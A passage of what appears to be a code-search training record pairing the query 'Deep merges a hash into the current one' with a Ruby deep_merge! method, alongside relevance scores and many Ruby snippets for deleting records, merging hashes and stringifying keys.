"def delete(key)\n\n # FIXME: insert code that connects to the backend and affects the delete\n # operation\n #\n # - This delete should be done atomically\n # - Convert any exceptions into a failed status result with a meaningful\n # error message.\n #\n\n { :result => false, :err_msg => 'FIXME: not implemented' }\n end",
"def destroy\n @key.destroy\n end",
"def delete(key)\n key = key.to_s\n @discard.delete key\n @flashes.delete key\n self\n end",
"def delete(command)\n pp @client.files.delete(clean_up(command[1]))\n end",
"def delete(path)\n request 'DELETE', path\n end",
"def delete(key)\n db.delete(key)\n end",
"def destroy\n @kyu_entry.destroy\n respond_to do |format|\n format.html { redirect_to kyu_entries_url }\n format.json { head :ok }\n end\n end",
"def delete!\n request! :delete\n end",
"def delete\n api(\"Delete\")\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @paquet_key.destroy\n respond_to do |format|\n format.html { redirect_to paquet_keys_url, notice: 'Paquet key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(key)\n attribute = key.to_sym\n details.delete(attribute)\n messages.delete(attribute)\n end",
"def delete_api_key(key, request_options = {})\n client.delete(Protocol.index_key_uri(name, key), :write, request_options)\n end",
"def del(*keys)\n keys.flatten!(1)\n return 0 if keys.empty?\n\n send_command([:del] + keys)\n end",
"def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end",
"def delete(path)\n request(:delete, path)\n end",
"def delete(action, **args); end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def del(key)\n response = db.delete_item(@table_name, {'HashKeyElement' => {'S' => key}})\n true\n end",
"def destroy\n @app_dictionary_entry.destroy\n respond_to do |format|\n format.html { redirect_to app_dictionary_entries_url, notice: 'App dictionary entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @keystore.destroy\n respond_to do |format|\n format.html { redirect_to keystores_url, notice: 'Keystore was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Post.delete(params[\"id\"])\n end",
"def delete_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by_id(params[:pathway_id])\n suggested_pathway.destroy\n render json: suggested_pathway\n end",
"def delete_pathway\n pathway = Pathway.find(params[:pathway_par])\n current_user.pathways.delete(pathway)\n if current_user.pathways.size < 1\n respond_to do |format|\n format.html { redirect_to '/saved#pathways' }\n format.json { head :no_content }\n end\n end\n end"
] |
[
"0.653288",
"0.64250773",
"0.62421864",
"0.62421864",
"0.62421864",
"0.62421864",
"0.62421864",
"0.6230025",
"0.6228251",
"0.6226594",
"0.6204302",
"0.62005967",
"0.61666894",
"0.6131496",
"0.6129134",
"0.61017936",
"0.6052575",
"0.6027302",
"0.60168105",
"0.5990207",
"0.596814",
"0.59604555",
"0.59589934",
"0.5947752",
"0.5936347",
"0.59328866",
"0.5930322",
"0.59137625",
"0.59105766",
"0.5901736",
"0.5900063",
"0.5883892",
"0.5882349",
"0.58755285",
"0.5863803",
"0.58610964",
"0.58594555",
"0.5858982",
"0.5858982",
"0.5857358",
"0.58541185",
"0.5844275",
"0.5836602",
"0.58283395",
"0.58244073",
"0.58166414",
"0.58166414",
"0.5811986",
"0.58097774",
"0.5808765",
"0.5798628",
"0.57959354",
"0.57959354",
"0.57959354",
"0.57959354",
"0.57892984",
"0.57857984",
"0.57828563",
"0.57824284",
"0.5782162",
"0.5781162",
"0.57774836",
"0.5774389",
"0.5771055",
"0.57691884",
"0.576503",
"0.5733489",
"0.57264775",
"0.5719642",
"0.5715867",
"0.570312",
"0.570312",
"0.570312",
"0.56962425",
"0.56953627",
"0.56914544",
"0.56898177",
"0.5688642",
"0.56857455",
"0.5680102",
"0.5680068",
"0.56789744",
"0.56762475",
"0.5669983",
"0.5665461",
"0.5664151",
"0.5662363",
"0.56327283",
"0.5631909",
"0.56300634",
"0.56265354",
"0.5625732",
"0.5625469",
"0.56182605",
"0.561794",
"0.56171286",
"0.5616078",
"0.56124914",
"0.5612458",
"0.5612167"
] |
0.76622117
|
0
|
Deep merges a hash into the current one. Does the replacement inline.
|
def deep_merge!(other_hash)
replace(deep_merge(other_hash))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deep_merge!(target, hash); end",
"def deep_merge!(target, hash); end",
"def deep_merge(source, hash); end",
"def deep_merge(source, hash); end",
"def _deep_merge(hash, other_hash); end",
"def deep_merge!(other_hash, &block); end",
"def deep_merge(other_hash, &blk)\n dup.deep_update(other_hash, &blk)\n end",
"def deep_merge!(other_hash)\n replace(deep_merge(other_hash))\n end",
"def deep_merge!(other_hash)\n replace(deep_merge(other_hash))\n end",
"def deep_merge(hash)\n dup.deep_merge! hash\n end",
"def deep_merge!(other_hash)\r\n replace(deep_merge(other_hash))\r\n end",
"def deep_merge!(other_hash = {})\n replace(deep_merge(other_hash))\n end",
"def deep_merge!(*other_hashes, &blk); end",
"def deep_merge_hashes!(target, overwrite); end",
"def merge(hash); end",
"def merge(hash); end",
"def merge(hash); end",
"def deep_merge_hashes(master_hash, other_hash); end",
"def deep_merge(other_hash)\n dup.deep_merge!(other_hash)\n end",
"def shallow_merge(other_hash); end",
"def deep_merge(*other_hashes, &blk); end",
"def deep_merge!(hash)\n # failsafe\n return if !hash.is_a?(Hash)\n for key in hash.keys\n if self[key].is_a?(Hash)\n self[key].deep_merge!(hash[key])\n else\n self[key] = hash[key]\n end\n end\n end",
"def merge hash = {}\n original.merge(hash)\n end",
"def deep_merge!(other_hash)\n other_hash.each do |k,v|\n (class << (tv = self[k]); self; end).send :include, Hashie::Extensions::DeepMerge\n self[k] = tv.is_a?(::Hash) && v.is_a?(::Hash) ? tv.deep_merge(v) : v\n end\n self\n end",
"def deep_merge!(other_hash)\n other_hash.each_pair do |k,v|\n tv = self[k]\n self[k] = tv.is_a?(::Hash) && v.is_a?(::Hash) ? tv.deep_merge(v) : v\n end\n self\n end",
"def deep_merge!(hash, other_hash, &block)\n hash.merge!(other_hash) do |key, this_val, other_val|\n if this_val.class <= ::Hash && other_val.class <= ::Hash\n deep_merge(this_val, other_val, &block)\n elsif block_given?\n block.call(key, this_val, other_val)\n else\n other_val\n end\n end\n end",
"def merge!(hash); end",
"def deep_merge(hash)\n target = dup\n \n hash.keys.each do |key|\n if hash[key].is_a? Hash and self[key].is_a? Hash\n target[key] = target[key].deep_merge(hash[key])\n next\n end\n \n target[key] = hash[key]\n end\n \n target\n end",
"def deep_merge!(other_hash, &block)\n other_hash.each_pair do |k,v|\n tv = self[k]\n if tv.is_a?(Hash) && v.is_a?(Hash)\n self[k] = tv.deep_merge(v, &block)\n else\n self[k] = block && tv ? block.call(k, tv, v) : v\n end\n end\n self\n end",
"def deep_merge(other_hash)\n self.merge(other_hash) do |key, oldval, newval|\n oldval = oldval.to_hash if oldval.respond_to?(:to_hash)\n newval = newval.to_hash if newval.respond_to?(:to_hash)\n oldval.class.to_s == 'Hash' && newval.class.to_s == 'Hash' ? oldval.deep_merge(newval) : newval\n end\n end",
"def deep_merge!(other_hash, &block)\n merge!(other_hash) do |key, this_val, other_val|\n # We can't use use this.val.is_a?(Hash) because inside the refinement\n # returns false:\n # - refined_hash.class != Hash\n if this_val.class.name == \"Hash\" && other_val.class.name == \"Hash\"\n this_val.deep_merge(other_val, &block)\n elsif block_given?\n block.call(key, this_val, other_val)\n else\n other_val\n end\n end\n end",
"def merge(hash)\n self.dup.update(hash)\n end",
"def deep_merge!(other_hash)\n other_hash.each_pair do |k,v|\n tv = self[k]\n self[k] = tv.is_a?(Hash) && v.is_a?(Hash) ? tv.deep_merge(v) : v\n end\n self\n end",
"def deep_merge!(other_hash)\n other_hash.each_pair do |k,v|\n tv = self[k]\n self[k] = tv.is_a?(Hash) && v.is_a?(Hash) ? tv.deep_merge(v) : v\n end\n self\n end",
"def deep_merge(hash)\n target = dup\n\n hash.keys.each do |key|\n if hash[key].is_a? Hash and self[key].is_a? Hash\n target[key] = target[key].deep_merge(hash[key])\n next\n end\n\n target[key] = hash[key]\n end\n\n target\n end",
"def merge(other_hash); end",
"def _deep_merge(hash1, hash2)\n hash1.merge(hash2) do |key, oldval, newval|\n if oldval.instance_of?(Hash) && newval.instance_of?(Hash)\n _deep_merge(oldval, newval)\n else\n newval\n end\n end\n end",
"def shallow_merge(other_hash)\n dup.shallow_update(other_hash)\n end",
"def deep_merge!(other_hash, &block)\n merge!(other_hash) do |key, this_val, other_val|\n if this_val.is_a?(Hash) && other_val.is_a?(Hash)\n this_val.deep_merge(other_val, &block)\n elsif block_given?\n block.call(key, this_val, other_val)\n else\n other_val\n end\n end\n end",
"def deep_merge!(other_hash, &block)\n other_hash.each_pair do |current_key, other_value|\n this_value = self[current_key]\n\n self[current_key] = if this_value.is_a?(Hash) && other_value.is_a?(Hash)\n this_value.deep_merge(other_value, &block)\n else\n if block_given? && key?(current_key)\n block.call(current_key, this_value, other_value)\n else\n other_value\n end\n end\n end\n\n self\n end",
"def merge_hash!(hash)\n merge!(self.class.from_hash(hash))\n end",
"def deep_merge!(other_hash, append: :auto, &block)\n\t\t\t\treturn self unless other_hash\n\t\t\t\tother_hash.each_pair do |k,v|\n\t\t\t\t\ttv = self[k]\n\t\t\t\t\tcase\n\t\t\t\t\twhen tv.is_a?(Hash) && v.is_a?(Hash)\n\t\t\t\t\t\tself[k] = tv.deep_merge(v, &block)\n\t\t\t\t\twhen tv.is_a?(Array) && v.is_a?(Array)\n\t\t\t\t\t\tif append==:auto and v.length > 0 && v.first.nil? then\n\t\t\t\t\t\t\t#hack: if the array begins with nil, we append the new\n\t\t\t\t\t\t\t#value rather than overwrite it\n\t\t\t\t\t\t\tv.shift\n\t\t\t\t\t\t\tself[k] += v\n\t\t\t\t\t\telsif append && append != :auto\n\t\t\t\t\t\t\tself[k] += v\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\t\tend\n\t\t\t\t\twhen tv.nil? && v.is_a?(Array)\n\t\t\t\t\t\t#here we still need to remove nil (see above)\n\t\t\t\t\t\tif append==:auto and v.length > 0 && v.first.nil? then\n\t\t\t\t\t\t\tv.shift\n\t\t\t\t\t\t\tself[k]=v\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tself[k] = block && tv ? block.call(k, tv, v) : v\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tself\n\t\t\tend",
"def deep_merge!(other_hash, &block)\n merge!(other_hash) do |key, this_val, other_val|\n if this_val.is_a?(Hash) && other_val.is_a?(Hash)\n this_val.deep_merge(other_val, &block)\n elsif block_given?\n block.call(key, this_val, other_val)\n else\n other_val\n end\n end\n end",
"def deep_merge!(hsh1, hsh2)\n raise TypeError unless hsh1.is_a?(Hash) && hsh2.is_a?(Hash)\n\n hsh1.merge!(hsh2) { |_, v1, v2| deep_merge!(v1, v2) }\n end",
"def merge!(other_hash); end",
"def deep_merge!(data)\n merger = lambda do |_key, v1, v2|\n Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2\n end\n merge!(data, &merger)\n end",
"def merge(base_hash, derived_hash, **opts); end",
"def deep_merge (h)\n self.merge(h) do |k, old, new|\n begin\n AccountTree.new(old).deep_merge(AccountTree.new(new))\n rescue\n new\n end\n end\n end",
"def internal_deep_merge!(source_hash, specialized_hash)\n\t\t\tspecialized_hash.each_pair do |rkey, rval|\n\t\t\t\tif source_hash.has_key?(rkey) then\n\t\t\t\t\tif rval.is_a?(Hash) and source_hash[rkey].is_a?(Hash) then\n\t\t\t\t\t\tinternal_deep_merge!(source_hash[rkey], rval)\n\t\t\t\t\telsif rval == source_hash[rkey] then\n\t\t\t\t\telse\n\t\t\t\t\t\tsource_hash[rkey] = rval\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tsource_hash[rkey] = rval\n\t\t\t\tend\n\t\t\tend\n\t\t\tsource_hash\n\t\tend",
"def reverse_merge(other_hash); end",
"def reverse_merge(other_hash); end",
"def merge(base_hash, derived_hash); end",
"def shallow_update(other_hash); end",
"def deep_merge!(other)\n merger = proc do |key, v1, v2|\n Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2\n end\n self.merge! other, &merger\n end",
"def deep_update(*other_hashes, &blk); end",
"def _deep_merge(original_hash, filtered_hash)\n original_hash.merge(filtered_hash) do |_key, original_item, filtered_item|\n if original_item.is_a?(Hash) && filtered_item.is_a?(Hash)\n _deep_merge(original_item, filtered_item)\n elsif filtered_item == FILTERED_VALUE\n filtered_item\n else\n original_item\n end\n end\n end",
"def merge!(*other_hashes, &blk); end",
"def deep_merge(other, &bloc)\n other.keys.inject(dup) do |result, key|\n begin\n case result[key]\n when Hash\n if other[key].is_a?(Hash)\n result[key] = result[key].deep_merge(other[key], &bloc)\n result\n else\n raise MergeConflict\n end\n when nil then result.merge key => other[key]\n else\n raise MergeConflict\n end\n rescue MergeConflict\n if bloc.nil?\n result[key] = other[key]\n else\n result[key] = bloc.call(result, other, key) \n end\n result\n end\n end\n \n end",
"def deep_merge_hash(second)\n merge(second) do |_k, v1, v2|\n if Hash === v1 && Hash === v2\n v1.deep_merge(v2)\n else\n v2\n end\n end\n end",
"def deep_update(other_hash)\n other_hash = other_hash.to_hash if other_hash.is_a?(DocumentMapper::Base)\n other_hash = other_hash.stringify_keys\n other_hash.each_pair do |k,v|\n k = convert_key(k)\n self[k] = self[k].to_mash if self[k].is_a?(Hash) unless self[k].is_a?(DocumentMapper::Base)\n if self[k].is_a?(Hash) && other_hash[k].is_a?(Hash)\n self[k] = self[k].deep_merge(other_hash[k]).dup\n else\n self.send(k + \"=\", convert_value(other_hash[k],true))\n end\n end\n end",
"def recursive_hash_merge(hash1, hash2)\n hash1.merge(hash2) {|k,o,n| (o.is_a?(Hash)) ? recursive_hash_merge(o,n) : n}\n end",
"def merge!(other)\n @hash.merge!(other.hash)\n end",
"def deep_merge!(second)\n second.each_pair do |k,v|\n if self[k].is_a?(Hash) and second[k].is_a?(Hash)\n self[k].deep_merge!(second[k])\n else\n self[k] = second[k]\n end\n end\n end",
"def reverse_merge!(other_hash); end",
"def prop_merge!(hash, other_hash)\n other_hash.each do |key, val|\n if val.kind_of?(Hash) && hash[key]\n prop_merge!(hash[key], val)\n else\n hash[key] = val\n end\n end\n \n hash\n end",
"def deep_merge!(target, merge)\r\n merge.keys.each do |key|\r\n if merge[key].is_a? Hash and target[key].is_a? Hash\r\n target[key] = deep_merge!(target[key], merge[key])\r\n else\r\n target[key] = merge[key]\r\n end\r\n end\r\n\r\n target\r\n end",
"def deep_hash_merge(query_hash, attribute_hash)\n query_hash.merge(attribute_hash) do |_key, oldval, newval|\n oldval = oldval.to_hash if oldval.respond_to?(:to_hash)\n newval = newval.to_hash if newval.respond_to?(:to_hash)\n oldval.class.to_s == 'Hash' && newval.class.to_s == 'Hash' ? deep_hash_merge(oldval, newval) : newval\n end\n end",
"def merge(hash)\n to_hash.merge(hash)\n end",
"def merge(hash)\n to_hash.merge(hash)\n end",
"def merge(hash)\n to_hash.merge(hash)\n end",
"def merge(hash)\n to_hash.merge(hash)\n end",
"def merge(hash)\n to_hash.merge(hash)\n end",
"def merge(hash)\n to_hash.merge(hash)\n end",
"def prop_merge(hash, other_hash)\n other_hash.each do |key, val|\n if val.is_a?(Hash) && hash[key]\n prop_merge(hash[key], val)\n else\n hash[key] = val\n end\n end\n hash\n end",
"def merge(*other_hashes, &blk); end",
"def reverse_merge!(other_hash)\n super(self.class.new(other_hash))\n end",
"def deep_merge!(src, override)\n override.each do |key, oval|\n # puts \"merging #{key}\"\n if src.has_key?(key)\n sval = src[key]\n if oval == sval\n # puts \"Values are identical\"\n next\n elsif oval.is_a?(Hash) and sval.is_a?(Hash)\n # puts \"Deep merging subhashes\"\n deep_merge!(sval, oval)\n elsif oval.is_a?(Array) and sval.is_a?(Array)\n # puts \"Deep merging arrays\"\n sval.concat oval\n else\n # puts \"Overriding value #{sval.inspect} with #{oval.inspect}\"\n src[key] = oval\n end\n else\n # puts \"adding new value {#{key} => #{oval}}\"\n src[key] = oval\n end\n end\n return src\nend",
"def merge(hash)\n hash.each_value { |v| self << v }\n end",
"def deep_merge_hashes(master_hash, other_hash)\n target = master_hash.dup\n\n other_hash.each_key do |key|\n if other_hash[key].is_a? Hash and target[key].is_a? Hash\n target[key] = deep_merge_hashes(target[key], other_hash[key])\n next\n end\n\n target[key] = other_hash[key]\n end\n\n target\n end",
"def reverse_merge!(other_hash)\n replace(reverse_merge(other_hash))\n end",
"def deep_merge!(second)\n return nil unless second\n type_assert(second, Hash)\n second.each_pair do |k,v|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n self[k].deep_merge!(second[k])\n else\n self[k] = second[k]\n end\n end\n end",
"def smart_merge(parent, child)\n parent.merge(child) do |_key, old, new|\n case old\n when Hash\n smart_merge(old, new)\n else\n new\n end\n end\n end",
"def deep_merge!(hash_or_config)\n return self if hash_or_config.nil?\n other_config = convert hash_or_config\n other_config.each do |key, other_value|\n value = has_key?(key) && self[key]\n self[key] = if ConfigNode === value && ConfigNode === other_value\n value.deep_merge!(other_value)\n elsif ConfigNode === value && other_value.nil?\n self[key]\n else\n other_value\n end\n end\n self\n end",
"def safe_merge(hash1, hash2)\n hash1.merge(hash2) do |k,x,y|\n if x.is_a?(Hash)\n safe_merge(x, y)\n else\n x\n end\n end\n end",
"def deep_merge!(first, second)\n second.each_pair do |k,v|\n if first[k].is_a?(Hash) and second[k].is_a?(Hash)\n deep_merge!(first[k], second[k])\n else\n first[k] = second[k]\n end\n end\n end",
"def merge!(hash)\n hash.each { |k, v| self[k]= v }\n end",
"def deep_merge!(bot, top)\n bot.merge!(top) { |k, botv, topv| (botv.class == Hash and topv.class == Hash) ? deep_merge!(botv, topv) : topv}\nend",
"def deep_update(other_hash, &blk)\n other_hash.each_pair do |k,v|\n key = convert_key(k)\n if regular_reader(key).is_a?(Mash) and v.is_a?(::Hash)\n custom_reader(key).deep_update(v, &blk)\n else\n value = convert_value(v, true)\n value = blk.call(key, self[k], value) if blk\n custom_writer(key, value)\n end\n end\n self\n end",
"def reverse_duplicate_merge(hash)\n dup.tap do |instance|\n hash.each do |option, value|\n instance.public_send(\"#{option}=\", value)\n end\n end\n end",
"def deep_merge(other)\n merger = lambda do |key, a, b|\n (a.is_a?(Hash) && b.is_a?(Hash)) ? a.merge(b, &merger) : b\n end\n\n merge(other, &merger)\n end",
"def deep_hash(hash)\n break_keys(hash).tap do\n hash.each do |key, value|\n hash[key] = deep_hash_value(value)\n end\n end\n end",
"def deep_merge(group, update_hash)\n # TODO : This doesn't work if v is ever an array. Needs to be\n # reimplemented a la is_deep_subset?\n\n update_hash.each do |k, v|\n if v.is_a? Hash\n group[k] ||= {}\n deep_merge(group[k], update_hash[k])\n else\n group[k] = update_hash[k]\n end\n end\n end",
"def deep_merge!(second)\n return nil unless second\n unless Hash === second\n raise TypeError.new(\"can't convert #{second.class} into #{self.class}\")\n end\n second.each_pair do |k,v|\n if self[k].is_a?(Array) and second[k].is_a?(Array)\n self[k].deep_merge!(second[k])\n elsif self[k].is_a?(Hash) and second[k].is_a?(Hash)\n self[k].deep_merge!(second[k])\n else\n self[k] = second[k]\n end\n end\n end",
"def merge!(hash)\n hash.each do |k,v|\n @new_info[lookup_key(k)] = v\n end\n self\n end",
"def deep_merge!(*args)\n replace deep_merge(*args)\n end",
"def replace(hash)\n __replace__(deep_transform_hashes_of(hash))\n end",
"def deep_merge_custom(hash_1, hash_2)\n hash_1.deep_merge(hash_2) { |key, val_1, val_2|\n if val_1.is_a?(Array) && val_2.is_a?(Array) && val_1[0].is_a?(Hash) && val_2[0].is_a?(Hash)\n new_arr = []\n val_2.each_with_index { |value, index|\n val_1[index] ||= {}\n new_arr[index] = deep_merge_custom(val_1[index], val_2[index])\n }\n new_arr\n else\n val_2\n end\n }\nend",
"def merge(base_hash, derived_hash)\n resolver.merge(base_hash, derived_hash)\n end",
"def merge(*hashes, &block)\n dup.update(*hashes, &block)\n end",
"def deep_merge h1,h2\n r = h1.is_a?(HashWithIndifferentAccess) ? HashWithIndifferentAccess.new : Hash.new\n h1.each do |k1,v1|\n if v1.is_a?(Hash) && h2[k1].is_a?(Hash)\n r[k1] = deep_merge(h1[k1], h2[k1])\n else\n r[k1] = v1\n end\n end\n h2.each do |k2,v2|\n unless h1.key?(k2)\n r[k2] = v2\n end\n end\n r\n end"
] |
[
"0.81512463",
"0.81512463",
"0.81166834",
"0.81166834",
"0.8034445",
"0.8010219",
"0.7981146",
"0.78501296",
"0.78128976",
"0.7785522",
"0.7775746",
"0.7736207",
"0.7617191",
"0.75860125",
"0.7501324",
"0.7501324",
"0.7501324",
"0.74578816",
"0.7442821",
"0.7440934",
"0.74401224",
"0.74337965",
"0.7335862",
"0.73174244",
"0.7267245",
"0.7263604",
"0.7263346",
"0.7254894",
"0.7250551",
"0.7246043",
"0.723827",
"0.7227973",
"0.72263783",
"0.72263783",
"0.7221116",
"0.71955824",
"0.7154449",
"0.7153004",
"0.71484685",
"0.71335405",
"0.71280634",
"0.709816",
"0.7087537",
"0.7061305",
"0.7057432",
"0.703806",
"0.6998773",
"0.69813067",
"0.6980676",
"0.6895569",
"0.6895569",
"0.68861914",
"0.6881345",
"0.6881142",
"0.6861322",
"0.679069",
"0.67622674",
"0.67352796",
"0.6724558",
"0.67002535",
"0.66917443",
"0.66792405",
"0.6646147",
"0.66408044",
"0.66261464",
"0.66223806",
"0.66001964",
"0.6584992",
"0.6584992",
"0.6584992",
"0.6584992",
"0.6584992",
"0.6584992",
"0.6581492",
"0.6578605",
"0.6577196",
"0.65547657",
"0.65529615",
"0.65285015",
"0.65161633",
"0.6508796",
"0.649547",
"0.64880115",
"0.64866275",
"0.6470279",
"0.6468904",
"0.6461369",
"0.64507484",
"0.6442546",
"0.64324915",
"0.64184785",
"0.6414758",
"0.6408312",
"0.640331",
"0.6389146",
"0.6346075",
"0.63306",
"0.6329281",
"0.6327911",
"0.6327684"
] |
0.775494
|
11
|
Recursively turns all Hash keys into strings and returns the new Hash.
|
def deep_stringify_keys
deep_transform_keys { |key| key.to_s }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def recursively_stringify_key\n recursively_transform_keys { |key| key.to_s rescue key }\n end",
"def stringify_keys_recursively!(object); end",
"def stringify_hash_keys(hash); end",
"def stringify_keys(hash)\n hash.keys.each do |key|\n hash[key.to_s] = hash.delete(key)\n end\n\n hash.values.select{ |v| v.is_a?(Hash) }.each do |h| \n stringify_keys(h)\n end\n hash\n end",
"def deep_stringify_keys!\n deep_transform_keys!{ |key| key.to_s }\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys! { |key| key.to_s }\n end",
"def deep_stringify_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_s }\n end",
"def stringify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ key.to_s ] = stringify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ key.to_s ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def stringify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ key.to_s ] = stringify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ key.to_s ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def stringify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ key.to_s ] = stringify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ key.to_s ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def stringify_keys( hash )\n\t\t\tnewhash = {}\n\n\t\t\thash.each do |key,val|\n\t\t\t\tif val.is_a?( Hash )\n\t\t\t\t\tnewhash[ key.to_s ] = stringify_keys( val )\n\t\t\t\telse\n\t\t\t\t\tnewhash[ key.to_s ] = val\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn newhash\n\t\tend",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def keys_to_s!(recursive: true)\n replace(keys_to_s(recursive: recursive))\n end",
"def stringify_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_s] = v.is_a?(Hash) ? v.stringify_keys : v }\n end",
"def deep_stringify_keys(hash)\n hash.each_with_object({}) do |(key, value), new_hash|\n new_hash[key.to_s] = (value.respond_to?(:to_hash) ? deep_stringify_keys(value) : value)\n end\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def keys_to_s(recursive: true)\n each_with_object({}) do |(k, v), memo|\n memo[k.to_s] = recursive && v.respond_to?(:keys_to_sym) ? v.keys_to_s : v\n end\n end",
"def stringify_keys!(hash)\n transform_keys!(hash){ |key| key.to_s }\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys!\n transform_keys!(&:to_s)\n end",
"def stringify_keys\n transform_keys { |key| key.to_s rescue key }\n end",
"def stringify_keys\n each_with_object({}) { |(k, v), hsh| hsh[k.to_s] = v }\n end",
"def stringify_keys!\n transform_keys!{ |key| key.to_s }\n end",
"def stringify_keys\n reduce({}) { |hsh, (k, v)| hsh.merge(k.to_s => v) }\n end",
"def stringify_keys\n reduce({}) { |hsh, (k, v)| hsh.merge(k.to_s => v) }\n end",
"def stringify_keys\n reduce({}) { |hsh, (k, v)| hsh.merge(k.to_s => v) }\n end",
"def stringify_keys\n reduce({}) { |hsh,(k,v)| hsh.merge(k.to_s => v) }\n end",
"def stringify_keys!\n keys.each{|k| \n v = delete(k)\n self[k.to_s] = v\n v.stringify_keys! if v.is_a?(Hash)\n v.each{|p| p.stringify_keys! if p.is_a?(Hash)} if v.is_a?(Array)\n }\n self\n end",
"def key2str(hash)\n return hash unless hash.is_a? Hash\n hash.each_value.select { |h| h.is_a? Hash }.each do |subh|\n sv = {}\n subh.each { |k, v| sv[k.to_s] = v }\n subh.replace sv\n end\n hash\n end",
"def deep_stringify_keys(hash)\n hash.inject({}) { |result, (key, value)|\n value = deep_stringify_keys(value) if value.is_a?(Hash)\n result[key.to_s] = value\n result\n }\n end",
"def deep_stringify_keys(hash)\n transform_hash(hash, :deep => true) {|hash, key, value|\n hash[key.to_s] = value\n }\n end",
"def keys_to_s\n self.inject({}){|memo,(k,v)| memo[k.to_s] = (v.is_a?(Hash) || v.is_a?(Array) ? v.keys_to_s : v); memo}\n end",
"def recursive_symbolize_keys hash\n if !hash.is_a?(Hash)\n return hash\n end\n \n new_hash = {}\n hash.each_pair do |key, value|\n new_hash[key.to_sym] = recursive_symbolize_keys(value)\n end\n new_hash\n end",
"def recursive_hash_normalize_keys val\n if val.is_a? Hash\n deep_hash_normalize val\n else\n val\n end\n end",
"def stringify_keys\n transform_keys(&:to_s)\n end",
"def stringify_keys(hash)\n transform_hash(hash) {|hash, key, value| \n hash[key.to_s] = value\n }\n end",
"def stringify_keys(hash)\n transform_hash(hash) {|hash, key, value|\n hash[key.to_s] = value\n }\n end",
"def stringify_keys!(hash)\n map_keys!(hash, Transproc(:to_string).fn)\n end",
"def stringify_keys!\n\t\t\tself.each do |k,v|\n\t\t\t\tnext if k.kind_of? String\n\t\t\t\tself[k.to_s] = v\n\t\t\t\tself.delete k\n\t\t\tend\n\t\tend",
"def stringify_keys!(hash)\n hash.keys.each {|key| hash[key.to_s] = hash.delete(key)}\n end",
"def flatten_keys(hash)\n hash.transform_keys(&:downcase).transform_keys(&:to_sym)\n end",
"def recursively_normalize_keys\n recursively_transform_keys { |key| key.downcase.to_sym rescue key }\n end",
"def recursively_symbolize_keys\n recursively_transform_keys { |key| key.to_sym rescue key }\n end",
"def stringify_keys\n hsh = Hash.new(default)\n self.each do |key, val|\n hsh[key.to_s] = val\n end\n hsh\n end",
"def stringify_keys!\n replace stringify_keys\n end",
"def stringify_keys(object)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[key.to_s] = stringify_keys(value)\n end\n when Array\n object.map { |e| stringify_keys(e) }\n else\n object\n end\n end",
"def deeply_stringify_keys(obj)\n deep_key_stringifier.call( obj )\n end",
"def stringified_keys; end",
"def stringify_keys!; self end",
"def stringify_keys!; self end",
"def hash_sym_key_to_str(hash)\n new_hash = {}\n hash.each do |k, v|\n if v.is_a? Hash\n v = hash_sym_key_to_str(v)\n end\n if k.is_a? Symbol\n new_hash[k.to_s] = v\n else\n new_hash[k] = v\n end\n end\n return new_hash\n end",
"def stringify_hash_keys hash\n Hash[hash.map { |(k, v)| [k.to_s, v] }]\n end",
"def with_stringified_keys\n inject({}) do |hash, (key, value)|\n hash.update key.to_s => value\n end\n end",
"def stringify_keys; end",
"def stringify_keys; end",
"def stringify_keys; end",
"def stringify_keys\n inject({}) do |options, (key, value)|\n options[(key.to_s rescue key) || key] = value\n options\n end\n end",
